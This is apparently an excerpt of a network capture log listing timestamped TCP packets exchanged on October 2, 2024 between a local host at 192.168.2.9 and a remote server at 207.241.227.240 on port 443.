Oct 2, 2024 05:23:12.451231956 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.451250076 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.451351881 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.451359987 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.451416016 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.451693058 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.451706886 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.451764107 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.451772928 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.451817989 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.452112913 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.452126980 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.452169895 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.452178001 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.452208996 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.452235937 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.452467918 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.452482939 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.452534914 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.452543020 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.452569008 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.452581882 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.498647928 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.498676062 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.498807907 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.498831987 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.498877048 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.499037027 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.499062061 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.499125004 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.499134064 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.499177933 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.539196968 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.539223909 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.539361000 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.539398909 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.539459944 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.539599895 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.539617062 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.539674044 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.539690018 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.539731026 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.539997101 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.540019989 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.540081024 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.540087938 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.540131092 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.540349007 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.540364981 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.540420055 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.540426970 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.540457010 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.540484905 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.540910006 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.540929079 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.540986061 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.540993929 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.541022062 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.541043997 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.541186094 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.541202068 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.541263103 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.541271925 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.541285038 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.541316986 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.587424040 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.587452888 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.587553024 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.587590933 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.587609053 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.587635994 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.587733984 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.587755919 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.587836981 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.587843895 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.587874889 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.587903023 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.627791882 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.627823114 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.628006935 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.628022909 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.628068924 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.628222942 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.628246069 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.628309965 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.628317118 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.628365993 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.628557920 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.628587008 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.628633976 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.628639936 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.628679037 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.628696918 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.628911972 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.628948927 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.628987074 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.628993034 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.629035950 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.629065037 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.629292011 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.629365921 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.629394054 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.629461050 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.629631042 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.629652023 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.629735947 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.629743099 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.629805088 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.676244020 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.676265955 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.676352024 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.676363945 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.676407099 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.676471949 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.676487923 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.676559925 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.676568031 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.676579952 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.676609039 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.716595888 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.716618061 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.716787100 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.716803074 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.716849089 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.716949940 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.716970921 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.717031956 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.717041016 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.717077017 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.717103004 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.717330933 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.717348099 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.717412949 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.717422009 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.717474937 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.717689991 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.717705011 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.717757940 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.717765093 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.717798948 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.717816114 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.718060970 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.718076944 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.718143940 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.718152046 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.718200922 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.718375921 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.718391895 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.718446970 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.718455076 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.718483925 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.718501091 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.764760971 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.764780045 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.764913082 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.764925003 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.764974117 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.765081882 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.765099049 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.765152931 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.765161037 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.765197992 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.765217066 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.805226088 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.805246115 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.805445910 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.805460930 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.805517912 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.805566072 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.805583000 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.805644989 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.805651903 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.805701971 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.806022882 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.806037903 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.806128025 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.806134939 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.806180954 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.806461096 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.806478024 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.806543112 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.806550026 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.806591034 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.806935072 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.806951046 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.806996107 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.807003975 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.807034016 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.807049990 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.807287931 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.807302952 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.807363987 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.807373047 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.807435989 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.853439093 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.853461027 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.853732109 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.853751898 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.853847027 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.854545116 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.854662895 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.854715109 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.854727030 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.854861021 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.894376993 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.894413948 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.894556046 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.894581079 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.894632101 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.894880056 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.894902945 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.894956112 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.894962072 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.894995928 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.895020008 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.895342112 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.895363092 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.895407915 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.895415068 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.895440102 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.895464897 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.895740032 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.895756960 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.895807028 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.895813942 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.895870924 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.895870924 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.896152973 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.896168947 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.896222115 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.896228075 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.896259069 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.896279097 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.896560907 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.896629095 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.896658897 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.896732092 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.975039959 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.975066900 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.975219965 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.975246906 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.975291014 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.975493908 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.975511074 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.975574017 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.975583076 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.975621939 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.982882977 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.982902050 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.982971907 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.982986927 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.983027935 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.983226061 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.983242035 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.983298063 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.983304977 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.983346939 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.983513117 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.983527899 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.983572006 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.983586073 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.983608961 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.983627081 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.983835936 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.983853102 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.983932018 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.983939886 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.983979940 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.984241009 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.984257936 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.984313965 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.984322071 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.984359980 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.984540939 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.984558105 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.984613895 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.984622955 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.984671116 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.063666105 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.063698053 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.063819885 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.063858032 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.063915014 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.064126015 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.064147949 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.064229012 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.064245939 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.064306974 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.071466923 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.071484089 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.071578026 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.071594954 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.071656942 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.071789026 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.071805954 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.071876049 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.071890116 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.071949959 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.072225094 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.072243929 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.072324991 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.072340012 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.072398901 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.072539091 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.072552919 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.072618961 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.072633028 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.072706938 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.072858095 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.072875023 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.072961092 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.072974920 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.073036909 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.073261023 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.073276043 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.073343992 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.073359013 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.073434114 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.152646065 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.152667999 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.152822018 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.152849913 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.152908087 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.152935028 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.152952909 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.153018951 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.153033972 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.153090000 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.160242081 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.160259008 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.160358906 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.160366058 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.160429955 CEST	49705	443	192.168.2.9	207.241.227.240
